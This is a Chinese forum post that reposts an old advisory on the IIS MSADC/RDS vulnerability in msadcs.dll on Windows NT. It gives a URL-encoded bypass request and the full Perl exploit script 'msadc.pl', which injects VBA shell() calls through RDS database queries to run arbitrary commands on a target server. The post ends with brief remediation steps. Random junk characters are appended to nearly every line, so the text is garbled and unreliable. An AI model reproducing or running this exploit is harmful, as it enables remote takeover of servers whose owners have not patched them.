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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) -lrcb/)Gz  
4n"6<cO5q  
涉及程序: ^a<kp69qS  
Microsoft NT server U\(71 =  
+NbiUCMX  
描述: i+F*vTM2,  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 /24}>oAH  
/>N#PF  
详细: vVP.9(  
如果你没有时间读详细内容的话,就删除: e+V8I&%  
c:\Program Files\Common Files\System\Msadc\msadcs.dll J/IRCjQ}  
有关的安全问题就没有了。 5'(T*"  
33 ; '6/  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 IXG@$O?y/  
N0%q 66]1  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 k*v${1&  
关于利用ODBC远程漏洞的描述,请参看: a@J/[$5  
n =WH=:&  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 2Z5_@Y  
mfG m>U  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 IEfYg(c0U  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp {1qr6P,"  
YmpaLZJ  
这里不再论述。 JfY(};&  
!C h1q  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ,"Fl/AjO  
xZ6x`BET-  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset N6v?Qzvi  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 7377g'jL  
R$+p4@?S  
J.'%=q(Sb  
#将下面这段保存为txt文件,然后: "perl -x 文件名" *{P/3yH  
)ki Gk}2  
#!perl 3H0B+F2XQ  
# %`QgG   
# MSADC/RDS 'usage' (aka exploit) script \m%c"'[  
# b kc*it  
# by rain.forest.puppy CBoCT3@~  
# K yyVO"  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me wZN_YFwQ  
# beta test and find errors! ec`re+1r  
!\$V?*p7  
use Socket; use Getopt::Std; !/!ga)Y  
getopts("e:vd:h:XR", \%args); ];lZ:gT  
]<C]`W2{  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; % P E x  
$dXx@6fP  
if (!defined $args{h} && !defined $args{R}) { hlDB'8  
print qq~ Dk>6PBl  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ".%d{z}vz  
-h <host> = host you want to scan (ip or domain) d#]hqy  
-d <seconds> = delay between calls, default 1 second .izq}q*P   
-X = dump Index Server path table, if available #\ `kg#&  
-v = verbose ZX64kk+  
-e = external dictionary file for step 5 fIl!{pv[  
jw9v&/-  
Or a -R will resume a command session ]ly" K!1,  
GGhk~H4OP  
~; exit;} 9^ZtbmUf  
SJ<v< B  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; atF#0*e>  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} yW (|auq  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} S<-nlBs.  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 0#Lmajs  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} C l,vBjl h  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } R"9w VM;*c  
XL^05  
if (!defined $args{R}){ $ret = &has_msadc; D%nd7 |  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} gFKJbjT|  
M:{Aq&.  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" v&'#Gg  
. "cmd /c "; (S?Y3l|  
$in=<STDIN>; chomp $in;  5QLK  
$command="cmd /c " . $in ; x(vQ %JC  
(y 7X1Qc)  
if (defined $args{R}) {&load; exit;} 9aY8`B  
mHHlm<?]  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; BkGEx z  
&try_btcustmr; )t"-#$,@  
IlB8~{p_  
print "\nStep 2: Trying to make our own DSN..."; g+4y^x(X@1  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; P3: t 4^  
Hj|&P/jY]*  
print "\nStep 3: Trying known DSNs..."; ?KOw~-u  
&known_dsn; jT =|!,Pn  
(Jw_2pHxr"  
print "\nStep 4: Trying known .mdbs..."; 3,Yr%`/5'  
&known_mdb; Uu5(/vw]  
r+8D|stS  
if (defined $args{e}){ j&oRj6;Ha+  
print "\nStep 5: Trying dictionary of DSN names..."; `vgaX,F*  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } [GI~ &  
sqtz^K ROM  
print "Sorry Charley...maybe next time?\n"; Mh4MaLw  
exit; D,ZLo~  
T"W<l4i-  
############################################################################## +IWH7qRtp  
#YYJ4^":k  
sub sendraw { # ripped and modded from whisker *>KBDFI  
sleep($delay); # it's a DoS on the server! At least on mine... 5C9b*]-#  
my ($pstr)=@_; NeG` D'  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Q`<{cFsU  
die("Socket problems\n"); &<]f-  
if(connect(S,pack "SnA4x8",2,80,$target)){ B(++*#T!^m  
select(S); $|=1; NBY|U{.g  
print $pstr; my @in=<S>; X<}}DZSu a  
select(STDOUT); close(S); ~qrSHn}+PU  
return @in; #%\0][Xf  
} else { die("Can't connect...\n"); }} {9U!0h-2"  
fk5'v   
############################################################################## <[cpaZT,  
O*~z@"\  
sub make_header { # make the HTTP request ;na%*G`  
my $msadc=<<EOT < ,*\t  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 dHXe2rTE;&  
User-Agent: ACTIVEDATA eMC^ORdY  
Host: $ip 8YQuq.(>a  
Content-Length: $clen {:K_=IRZ  
Connection: Keep-Alive [3G{NC|'  
)*;Tt @'y  
ADCClientVersion:01.06 vKG\8+  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Giv,%3'  
%7 bd}sJ#  
--!ADM!ROX!YOUR!WORLD! M`H#Qo5/  
Content-Type: application/x-varg 78uImC*o  
Content-Length: $reqlen q2vD)r  
j#n ]q{s4  
EOT {,Q )D$i  
; $msadc=~s/\n/\r\n/g; P3&s<mh  
return $msadc;} ORs :S$Nt$  
A _zCSRF,  
############################################################################## Ig `q[o  
-[L\:'Gp5  
sub make_req { # make the RDS request E]OexRJ^i  
my ($switch, $p1, $p2)=@_; /'rj L<M  
my $req=""; my $t1, $t2, $query, $dsn; p2Ep(0w,R5  
qY#*LqV  
if ($switch==1){ # this is the btcustmr.mdb query UhDQl%&He  
$query="Select * from Customers where City=" . make_shell(); FBNLszT{L  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 9{jMO  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} +Y sGH~jX  
AygdAg'\  
elsif ($switch==2){ # this is general make table query Ayw_LCUD  
$query="create table AZZ (B int, C varchar(10))"; ?ZlXh51  
$dsn="$p1";} })/P[^  
Yub}AuU`v  
elsif ($switch==3){ # this is general exploit table query Cdz&'en^  
$query="select * from AZZ where C=" . make_shell(); _Sr7b#)o  
$dsn="$p1";} lPR=C0h}@  
szsVk#p  
elsif ($switch==4){ # attempt to hork file info from index server a|7C6#iz$  
$query="select path from scope()"; /:4J  
$dsn="Provider=MSIDXS;";} L/tpT?$fi  
?$f.[;mh  
elsif ($switch==5){ # bad query 73cb1 kfPd  
$query="select"; Trv}YT.  
$dsn="$p1";} :W*yfhLt  
i< ^X z  
$t1= make_unicode($query); Y\]ZIvTSb  
$t2= make_unicode($dsn); )}@D\(/@  
$req = "\x02\x00\x03\x00"; avRtYL  
$req.= "\x08\x00" . pack ("S1", length($t1)); cAW}a  
$req.= "\x00\x00" . $t1 ; Vke<; k-  
$req.= "\x08\x00" . pack ("S1", length($t2)); f CU]  
$req.= "\x00\x00" . $t2 ; *#Cx-J  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; oe|#!SM(  
return $req;} oRWje#4O  
fs 'SCwx  
############################################################################## 6dIPgie3w  
3CoZ2  
sub make_shell { # this makes the shell() statement hu}$\  
return "'|shell(\"$command\")|'";} e"S?qpJK  
P51M?3&=l  
############################################################################## I`V<Sh^Qd  
 cca g8LC  
sub make_unicode { # quick little function to convert to unicode ]].~/kC^3k  
my ($in)=@_; my $out; t`Z'TqP R  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } %GhI0F #  
return $out;} YhN<vZ}U!~  
Z=a%)Ki?Ag  
############################################################################## " ]S  
O k`}\NZL  
sub rdo_success { # checks for RDO return success (this is kludge) yJ $6vmQ  
my (@in) = @_; my $base=content_start(@in); _re# b?  
if($in[$base]=~/multipart\/mixed/){ 4Hj)Av <O(  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} c;VqEpsbl  
return 0;} 'Lrn<  
6m:$mhA5  
############################################################################## GmH DG-  
[Yt{h9  
sub make_dsn { # this makes a DSN for us !?P8[K  
my @drives=("c","d","e","f"); xuK"pS  
print "\nMaking DSN: "; \?xM% (:<Q  
foreach $drive (@drives) { V"YeF:I  
print "$drive: "; A(FnU:  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . }4|EHhG  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ~Gu$E qQ  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 6gV*G  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; :0J`4  
return 0 if $2 eq "404"; # not found/doesn't exist  >(Y CZ  
if($2 eq "200") { <YaTr9%w  
foreach $line (@results) { su%(!XJQpg  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Z2g'&,uc#  
} return 0;} |.N[NY  
Bh3F4k2bg7  
############################################################################## }>@\I^Xm,  
!Km[Qw k-  
sub verify_exists { ?})A-$f ~  
my ($page)=@_; i>Q!5  
my @results=sendraw("GET $page HTTP/1.0\n\n"); !D??Y^6bI  
return $results[0];} Nz dN4+  
ukiWNF/  
############################################################################## /$c87\  
EF`}*7)  
sub try_btcustmr { wMW<lT=;  
my @drives=("c","d","e","f"); 0g?)j-  
my @dirs=("winnt","winnt35","winnt351","win","windows"); :$k*y%Z*N&  
<s9{o uZ  
foreach $dir (@dirs) { N:lfKI  
print "$dir -> "; # fun status so you can see progress {kpF etXt?  
foreach $drive (@drives) { ]fM|cN8(zM  
print "$drive: "; # ditto ;{ifLI0#  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; m;@q('O  
$reqlenlen=length( "$reqlen" ); :PO./IBX  
$clen= 206 + $reqlenlen + $reqlen; AF'<  
%(YQ)=w  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); `Lr], >aG  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} $mQ0w~:@  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} up5f]:!  
A=<7*E  
############################################################################## V 0Bl6  
&hYgu3O  
sub odbc_error { b$_81i  
my (@in)=@_; my $base; 7gC?<;\0  
my $base = content_start(@in); !.vyzCJTzB  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this r:H]`Uo'r  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; .&^p@A~  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 6w^P{%ul  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; (/]'e}  
return $in[$base+4].$in[$base+5].$in[$base+6];} Z8SwW<{ $  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";  2v{WX  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . =QqH`.3  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} &A0OYV3i.  
CHgip&(.F  
############################################################################## Nr4}x7  
#V>R#Oh}  
sub verbose { %f]#P8V P  
my ($in)=@_; y[_k/.1  
return if !$verbose; (]]hSkE  
print STDOUT "\n$in\n";} FZi@h  
Sm'Tz&!  
############################################################################## h(|T.  
Z [!"x&H]h  
sub save { Hyb(.hlZh  
my ($p1, $p2, $p3, $p4)=@_; 2K}49*  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; w!f2~j~  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; BSm"]!D8*  
close OUT;} 2k.VTGak  
X*2W4udF  
############################################################################## rB[J*5v  
!Z$d<~Mq q  
sub load { $+4DpqJ  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; -UhpPw 6  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); QH'*MY  
@p=<IN>; close(IN); 9j 2t|D4uT  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); @c|=onx5  
$target= inet_aton($ip) || die("inet_aton problems"); 2) X#&IE  
print "Resuming to $ip ..."; xw#CwMbbi  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 1:-'euA"  
if($p[1]==1) { H*W>v[>  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 2zC4nF)>O  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Ta?J;&<u]/  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ] ?DU8  
if (rdo_success(@results)){print "Success!\n";} m{q'RAw  
else { print "failed\n"; verbose(odbc_error(@results));}} (:l6R9'=  
elsif ($p[1]==3){ 82LE9<4A  
if(run_query("$p[3]")){ noWF0+ %  
print "Success!\n";} else { print "failed\n"; }} \|HtE(uCM1  
elsif ($p[1]==4){ EX]+e  
if(run_query($drvst . "$p[3]")){ a'VQegP(f\  
print "Success!\n"; } else { print "failed\n"; }} J M`w6}  
exit;} xi (@\A  
0*{(R#  
############################################################################## \YvG+7a  
Dz}i-tw+  
sub create_table { 2-4N)q  
my ($in)=@_; rq%]CsRY5  
$reqlen=length( make_req(2,$in,"") ) - 28; @)Vpj\jM-C  
$reqlenlen=length( "$reqlen" ); :60v bO  
$clen= 206 + $reqlenlen + $reqlen; 7#LIGr  
my @results=sendraw(make_header() . make_req(2,$in,"")); !^arWH[od  
return 1 if rdo_success(@results); F- ,gj{s  
my $temp= odbc_error(@results); verbose($temp); khy'Y&\F;  
return 1 if $temp=~/Table 'AZZ' already exists/; NW\CEJV  
return 0;} )@wC6Ij  
e;.,x 5+  
############################################################################## {5 dVK  
't<iB&wgF  
sub known_dsn { 07LyB\l~  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ~5HkDtI)  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", -@N-i$!;J  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", E+L7[  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); @\by`3*Q  
xFu ,e  
foreach $dSn (@dsns) { qk& F>6<9*  
print "."; {hS!IOM  
next if (!is_access("DSN=$dSn")); + <bj}"  
if(create_table("DSN=$dSn")){ N3G9o`k  
print "$dSn successful\n"; ASXGM0t  
if(run_query("DSN=$dSn")){ ^+(5[z  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Q>1BOH1by  
print "Something's borked. Use verbose next time\n";}}} print "\n";} Z=Y29V8  
3BM z{ny=  
############################################################################## p $Tk;;wm  
8Ths"zwn  
sub is_access { 5:@bNNX'j  
my ($in)=@_; \[G'cE  
$reqlen=length( make_req(5,$in,"") ) - 28; ifn=De3+  
$reqlenlen=length( "$reqlen" ); YmljHQP  
$clen= 206 + $reqlenlen + $reqlen; O nXo0PV/(  
my @results=sendraw(make_header() . make_req(5,$in,"")); s#$t!F??9  
my $temp= odbc_error(@results); {it.F4.  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); +g1>h ,K 3  
return 0;} H!;N0",]N  
oG,>Pk  
############################################################################## * F!B4go  
6P{bUom?  
sub run_query { <'\Nv._2a  
my ($in)=@_; u&~Xgq5[  
$reqlen=length( make_req(3,$in,"") ) - 28; J^+w]2`S  
$reqlenlen=length( "$reqlen" ); w{tA{{  
$clen= 206 + $reqlenlen + $reqlen; A{_CU-,  
my @results=sendraw(make_header() . make_req(3,$in,"")); k0Vri$x  
return 1 if rdo_success(@results); v`4w=!4  
my $temp= odbc_error(@results); verbose($temp); <F3{-f'Rx  
return 0;} %H\b5& _y  
R0?bcP&  
############################################################################## uda++^y:  
2}^=NUM\NX  
sub known_mdb { {6u)EJ  
my @drives=("c","d","e","f","g"); Qa2h#0j  
my @dirs=("winnt","winnt35","winnt351","win","windows"); TuwP'g[  
my $dir, $drive, $mdb; 'n|U   
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Y}[<KK}_  
e'mF1al  
# this is sparse, because I don't know of many k+_>`Gre}  
my @sysmdbs=( "\\catroot\\icatalog.mdb", O*N:A[eW  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", o)I)I/v  
"\\system32\\certmdb.mdb", YJ~<pH  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% H; `F}qQ3  
VxY]0&sq  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 4X=VNORlU0  
"\\cfusion\\cfapps\\forums\\forums_.mdb", "%T~d[M  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", W^<AUT  
"\\cfusion\\cfapps\\security\\realm_.mdb", U5"u h} 3  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", j~'.XD={  
"\\cfusion\\database\\cfexamples.mdb", Hzz{wY   
"\\cfusion\\database\\cfsnippets.mdb", "ku[b\W  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", TQB) A9  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ~gX1n9_n  
"\\cfusion\\brighttiger\\database\\cleam.mdb", uyX % &r  
"\\cfusion\\database\\smpolicy.mdb", ?8 }pZ_j  
"\\cfusion\\database\cypress.mdb", aR2N,<Cp5  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", x}2nn)fdZ  
"\\website\\cgi-win\\dbsample.mdb", NDRD PD  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", |lhnCShw  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" (MXy\b<  
); #these are just Oti;wf G7o  
foreach $drive (@drives) { W B:0}b0Gu  
foreach $dir (@dirs){ jr6 0;oK+  
foreach $mdb (@sysmdbs) { ]t<=a6 <P  
print "."; &A s>Y,y  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 0YoKSo  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 4Uny.C]  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ Yo%U{/e  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; th{J;a  
} else { print "Something's borked. Use verbose next time\n"; }}}}} U)dcemQY  
A^aY-V  
foreach $drive (@drives) { mc]+j,d  
foreach $mdb (@mdbs) { H:~bWd'iz  
print "."; 8cO?VH,nk  
if(create_table($drv . $drive . $dir . $mdb)){ WSpF/Wwc  
print "\n" . $drive . $dir . $mdb . " successful\n"; %Za}q]?  
if(run_query($drv . $drive . $dir . $mdb)){ IYn`&jS{  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; )B]"""J  
} else { print "Something's borked. Use verbose next time\n"; }}}} wXQu%F3  
} ~2* LWH*@  
r (m3"Xu6O  
############################################################################## 3?E7\\/R  
B2r[oT R  
sub hork_idx { jNxTy UU  
print "\nAttempting to dump Index Server tables...\n"; /J^dz vH  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; EI=~*&t  
$reqlen=length( make_req(4,"","") ) - 28; ,OlS>>,  
$reqlenlen=length( "$reqlen" ); e\~nqKCb  
$clen= 206 + $reqlenlen + $reqlen; '$,yV f  
my @results=sendraw2(make_header() . make_req(4,"","")); )i /w:g>  
if (rdo_success(@results)){ 7bYwh8  
my $max=@results; my $c; my %d; =?|$}vDO[  
for($c=19; $c<$max; $c++){ Zwq\m.h  
$results[$c]=~s/\x00//g; :G6CWE  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; l]wfL;u  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; FW[|Zq;}  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; #j7&2L  
$d{"$1$2"}="";} (?A c`H  
foreach $c (keys %d){ print "$c\n"; } 8}yrsF #  
} else {print "Index server doesn't seem to be installed.\n"; }} 5H Cw%n9  
Dt!KgI3  
############################################################################## [+FiD  
aMu6{u6  
sub dsn_dict { pku\)  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); Lvt3S .l  
while(<IN>){ OM.-apzC  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; `(j~b=PP  
next if (!is_access("DSN=$dSn")); ~_i=hx  
if(create_table("DSN=$dSn")){ -e$ T}3IV  
print "$dSn successful\n"; st??CX2  
if(run_query("DSN=$dSn")){ ;8=Bee4  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { S.[L?uE~F  
print "Something's borked. Use verbose next time\n";}}} WS6Qp`c )e  
print "\n"; close(IN);} WCY._H>|   
0vEQgx>  
############################################################################## qbQdx Kk  
.0,G4k/yv  
sub sendraw2 { # ripped and modded from whisker tJ\v>s-f  
sleep($delay); # it's a DoS on the server! At least on mine... <c5g-*V:  
my ($pstr)=@_; ADF<5#I  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Wlg1t~1=  
die("Socket problems\n"); zvGncjMkC  
if(connect(S,pack "SnA4x8",2,80,$target)){ #e=E  
print "Connected. Getting data"; F,as>X#  
open(OUT,">raw.out"); my @in; cGs& Kn;h  
select(S); $|=1; print $pstr; pzt<[;  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} _x|R`1`  
close(OUT); select(STDOUT); close(S); return @in; .|CoueH  
} else { die("Can't connect...\n"); }} qYoU\y7  
7*K2zu3  
############################################################################## ,2U  
d l Ab`ne  
sub content_start { # this will take in the server headers EPwU{*F  
my (@in)=@_; my $c; VI|2vV6?  
for ($c=1;$c<500;$c++) { Mq\?J{E  
if($in[$c] =~/^\x0d\x0a/){ G_qt~U  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } QeT~s5 H  
else { return $c+1; }}} <8~c7kT'  
return -1;} # it should never get here actually HoX={^aG%  
cxQ %tL+S&  
############################################################################## 8B+C[Q:+'  
OI0@lSAo<  
sub funky { ajG_t  
my (@in)=@_; my $error=odbc_error(@in);  ngJ{az  
if($error=~/ADO could not find the specified provider/){ ,Y| ;V  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; fg ,vTpBk  
exit;} -`\n/"#X6i  
if($error=~/A Handler is required/){ Zcw <USF8  
print "\nServer has custom handler filters (they most likely are patched)\n"; %jx<<hW  
exit;} T+gH38!e  
if($error=~/specified Handler has denied Access/){ 89KFZ[.}]  
print "\nServer has custom handler filters (they most likely are patched)\n"; DGTE#?'(  
exit;}} 'xG{q+jj'  
[uJS. `b  
############################################################################## v.sjWF  
2^=.f?_YR  
sub has_msadc { sSk qU  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); } gwfe H  
my $base=content_start(@results); +2p}KpOsL  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); rmC7!^/  
return 0;} Rxr?T-  
eu]qgtg~U  
######################## a6A~,68/V  
3&"uf9d  
9:3`LY3wW  
解决方案: ew,okRCN  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll f`rI]v|@  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 '~7zeZ'  
AuM}L&`i^  
拿出来充数 哈哈
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